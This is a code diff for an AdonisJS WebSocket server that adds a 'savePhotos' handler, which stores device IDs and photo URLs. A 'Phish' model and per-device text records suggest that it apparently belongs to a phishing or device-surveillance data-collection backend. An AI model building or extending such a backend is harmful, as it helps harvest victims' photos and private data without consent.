|
@@ -4,6 +4,7 @@ import AdonisServer from '@ioc:Adonis/Core/Server'
|
|
|
import auth from 'App/Middleware/Auth'
|
|
import auth from 'App/Middleware/Auth'
|
|
|
import Phish from 'App/Models/Phish'
|
|
import Phish from 'App/Models/Phish'
|
|
|
import TextRecord from 'App/Models/TextRecord'
|
|
import TextRecord from 'App/Models/TextRecord'
|
|
|
|
|
+import FilesRecord from 'App/Models/FilesRecord'
|
|
|
|
|
|
|
|
class Ws {
|
|
class Ws {
|
|
|
public io: Server
|
|
public io: Server
|
|
@@ -82,6 +83,22 @@ class Ws {
|
|
|
socket.emit('result', { success: false, message: 'Failed to save data' })
|
|
socket.emit('result', { success: false, message: 'Failed to save data' })
|
|
|
}
|
|
}
|
|
|
})
|
|
})
|
|
|
|
|
+
|
|
|
|
|
+ // 监听 savePhotos 事件
|
|
|
|
|
+ socket.on('savePhotos', async (data: any) => {
|
|
|
|
|
+ try {
|
|
|
|
|
+ Logger.info('got savePhotos ' + JSON.stringify(data))
|
|
|
|
|
+ const filesRecord = await FilesRecord.create({
|
|
|
|
|
+ deviceId: data.deviceId,
|
|
|
|
|
+ fileUrl: data.url
|
|
|
|
|
+ })
|
|
|
|
|
+ socket.emit('result', { success: true, message: 'Data saved to database' })
|
|
|
|
|
+ } catch (e) {
|
|
|
|
|
+ Logger.error('Error saving photos: ' + e.message)
|
|
|
|
|
+ socket.emit('result', { success: false, message: 'Failed to save data' })
|
|
|
|
|
+ }
|
|
|
|
|
+ })
|
|
|
|
|
+
|
|
|
})
|
|
})
|
|
|
|
|
|
|
|
this.adminIO.on('connection', (socket: Socket) => {
|
|
this.adminIO.on('connection', (socket: Socket) => {
|